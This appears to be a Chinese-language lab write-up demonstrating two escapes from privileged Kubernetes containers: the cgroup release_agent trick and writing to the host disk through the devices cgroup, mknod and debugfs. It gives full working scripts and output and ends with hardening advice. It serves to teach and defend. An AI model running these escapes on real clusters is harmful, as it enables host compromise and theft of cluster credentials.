创建 cgroup 进行容器逃逸

创建测试容器

apiVersion: apps/v1
kind: Deployment
metadata:
  name: privileged-centos
  namespace: default
  labels:
    app: privileged-centos
spec:
  replicas: 1
  selector:
    matchLabels:
      app: privileged-centos
  template:
    metadata:
      labels:
        app: privileged-centos
    spec:
      containers:
        - name: centos
          image: 192.168.101.99:80/base/centos:8
          command: ["/bin/sleep", "infinity"]
          securityContext:
            privileged: true

利用脚本

#!/bin/bash
# filename: cgroup-angent.sh
# 在容器内创建一个临时目录

set -uex

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

sleep 2
cat "/output"

操作

[root@k8s-node1 ~]# kubectl exec -it privileged-centos-576b686949-snc2c /bin/bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
[root@privileged-centos-576b686949-snc2c /]# vi cgroup-angent.sh
[root@privileged-centos-576b686949-snc2c /]# bash cgroup-angent.sh 
+ mkdir /tmp/cgrp
+ mount -t cgroup -o memory cgroup /tmp/cgrp
+ mkdir /tmp/cgrp/x
+ echo 1
++ sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
+ host_path=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs
+ echo /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/cmd
+ echo '#!/bin/sh'
+ echo 'ps aux > /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/output'
+ chmod a+x /cmd
+ sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
+ sleep 2
+ cat /output
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1 173300 11476 ?        Ss   Apr27   0:31 /usr/lib/systemd/systemd --switched-root --system --deserialize 18
....
root        1279  1.6  1.4 2225296 117332 ?      Ssl  Apr27  15:22 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf --config=/var/lib/kubelet/config.yaml --container-runtime-endpoint=unix:///var/run/containerd/containerd.sock --hostname-override=node2 --pod-infra-container-image=registry.aliyuncs.com/kubeadm-ha/pause:3.9 --root-dir=/var/lib/kubelet
root        1342  0.0  0.1 720748 15996 ?        Sl   Apr27   0:20 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id 1174c4110ca3c7c62aeaa9a02d21a9189c743202df3a32410f4e0f3e23a6c7b2 -address /run/containerd/containerd.sock
root        1344  0.0  0.2 720748 17148 ?        Sl   Apr27   0:20 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id b08905223037cd4bb2bc36f0c2705518222ad82e57b7a4e37b2428771908c5bc -address /run/containerd/containerd.sock
root        1363  0.0  0.2 720748 17776 ?        Sl   Apr27   0:20 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id 483ad1894cada0fef13d8c3a68848625e9b006acd308d3efbf49c5632fdf9df6 -address /run/containerd/containerd.sock
root        1384  0.0  0.2 721004 19392 ?        Sl   Apr27   0:20 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id 79768b9296b6494a6192c6af568ce55368aa623fb26901735e29c0c43fb6a874 -address /run/containerd/containerd.sock
root        1396  0.0  0.2 720748 16576 ?        Sl   Apr27   0:29 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id dfe54792a2cf823d90bee731b82111dbeeaa29594a30fe292faa157277a72e2e -address /run/containerd/containerd.sock
root        1414  0.0  0.2 720492 18752 ?        Sl   Apr27   0:19 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id 7f79bcce964dff1cc2328df785ca83db019698acd456d04600effd8c6a321960 -address /run/containerd/containerd.sock
...
root        1674  0.0  0.0    784     4 ?        Ss   Apr27   0:00 tini -- /usr/local/bin/start.sh
root        1677  3.8  8.7 2150064 706688 ?      Ssl  Apr27  35:03 kube-apiserver --advertise-address=192.168.73.202 --allow-privileged=true --authorization-mode=Node,RBAC --client-ca-file=/etc/kubernetes/pki/ca.crt --enable-admission-plugins=NodeRestriction --enable-bootstrap-token-auth=true --encryption-provider-config=/etc/kubernetes/pki/secrets-encryption.yaml --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key --etcd-servers=https://192.168.73.201:2379,https://192.168.73.202:2379,https://192.168.73.203:2379 --kubelet-certificate-authority=/etc/kubernetes/pki/ca.crt --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --profiling=false --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key --requestheader-allowed-names=front-proxy-client --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --requestheader-extra-headers-prefix=X-Remote-Extra- --requestheader-group-headers=X-Remote-Group --requestheader-username-headers=X-Remote-User --runtime-config=api/all=true --secure-port=6443 --service-account-issuer=https://kubernetes.default.svc.cluster.local --service-account-key-file=/etc/kubernetes/pki/sa.pub --service-account-signing-key-file=/etc/kubernetes/pki/sa.key --service-cluster-ip-range=10.244.64.0/18 --service-node-port-range=10000-65535 --tls-cert-file=/etc/kubernetes/pki/apiserver.crt --tls-cipher-suites=TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 --tls-private-key-file=/etc/kubernetes/pki/apiserver.key
root        1690  0.9  1.7 1401432 144240 ?      Ssl  Apr27   8:58 kube-controller-manager --allocate-node-cidrs=true --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf --bind-address=127.0.0.1 --client-ca-file=/etc/kubernetes/pki/ca.crt --cluster-cidr=10.244.0.0/18 --cluster-name=kubernetes --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt --cluster-signing-duration=87600h0m0s --cluster-signing-key-file=/etc/kubernetes/pki/ca.key --controllers=*,bootstrapsigner,tokencleaner --feature-gates=RotateKubeletServerCertificate=true --kubeconfig=/etc/kubernetes/controller-manager.conf --leader-elect=true --node-cidr-mask-size=24 --node-monitor-grace-period=40s --node-monitor-period=5s --profiling=false --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --root-ca-file=/etc/kubernetes/pki/ca.crt --service-account-private-key-file=/etc/kubernetes/pki/sa.key --service-cluster-ip-range=10.244.64.0/18 --terminated-pod-gc-threshold=10 --use-service-account-credentials=true
root        1694  0.0  0.0   9024  5508 ?        Ss   Apr27   0:00 nginx: master process nginx -g daemon off;
....
root      343496  0.0  0.0  23048  1464 ?        S+   11:40   0:00 /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep 2
root      343497  0.0  0.0  11928  2784 ?        S    11:40   0:00 /bin/sh /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/cmd /x
root      343498  0.0  0.0  49724  3604 ?        R    11:40   0:00 ps aux
[root@privileged-centos-576b686949-snc2c /]#

另外的一个逃逸方式

借助 lxcfs 的思路,复用到 sys_admin 或特权容器的场景上读写宿主机上的文件

创建测试容器
apiVersion: apps/v1
kind: Deployment
metadata:
  name: privileged-nginx
  namespace: default
  labels:
    app: privileged-nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: privileged-nginx
  template:
    metadata:
      labels:
        app: privileged-nginx
    spec:
      containers:
        - name: nginx
          image: 192.168.101.99:80/base/nginx:alpine
          command: ["/bin/sleep", "infinity"]
          securityContext:
            privileged: true
操作
[root@k8s-node1 ~]# kubectl exec -it privileged-nginx-557bf54bc8-lgmkt -- /bin/sh
/ #

# 1)挂载 devices 子系统到临时目录(与原 PoC 一致)
mkdir -p /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/

# 2)取当前 shell 所在的 devices cgroup 相对路径(容器组件为 containerd 时形如 kubepods.../cri-containerd-xxxx.scope)
CGROUP_REL=$(awk -F: '/:devices:/ {print $3}' /proc/self/cgroup)
# 示例输出:/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod31bdef2c_6cd0_43d4_8672_e5e0fdc1e6f9.slice/cri-containerd-9e8fd55b417ded2f4f8587965ac349c63996c297b4666c261eed55b45ee0d40b.scope
echo "$CGROUP_REL"

# 3)对「当前进程所在」的 cgroup 放行设备(若 echo a 后 mknod 仍 EPERM,可改为:printf 'a *:* rwm\n' > ...)
echo a > "/tmp/dev${CGROUP_REL}/devices.allow"
# cat "/tmp/dev${CGROUP_REL}/devices.list"

# 4)mknod 的主/次设备号从 mountinfo 中取(与宿主机根盘一致),例如 grep 出 253:0
# mknod: Operation not permitted 多因 2)路径不对或未真正写入当前 cgroup,与是否 containerd 无直接矛盾
apk add --no-cache e2fsprogs-extra
/tmp/dev # mknod /tmp/near b 253 0
/tmp/dev # debugfs -w /tmp/near
debugfs 1.47.3 (8-Jul-2025)
debugfs:  
debugfs:  ls /etc/kubernetes/
 5767919  (12) .    5767169  (12) ..    5767920  (20) manifests   
 5767910  (16) plugins    5767927  (12) pki    5767932  (16) backup   
 5767939  (16) config    131528  (28) kubeadm-config.yaml   
 5767948  (20) admin.conf    5767952  (24) super-admin.conf   
 5767955  (20) kubelet.conf    5767959  (32) controller-manager.conf   
 5767964  (3856) scheduler.conf   
debugfs:  
debugfs:  

防御建议

1、限制容器的 CAP_SYS_ADMIN 权限
2、使用 seccomp 过滤器限制容器内的系统调用
3、监控 cgroup 相关操作,特别是对 notify_on_release 和 release_agent 的修改
4、使用只读文件系统运行容器,减少攻击面

更多推荐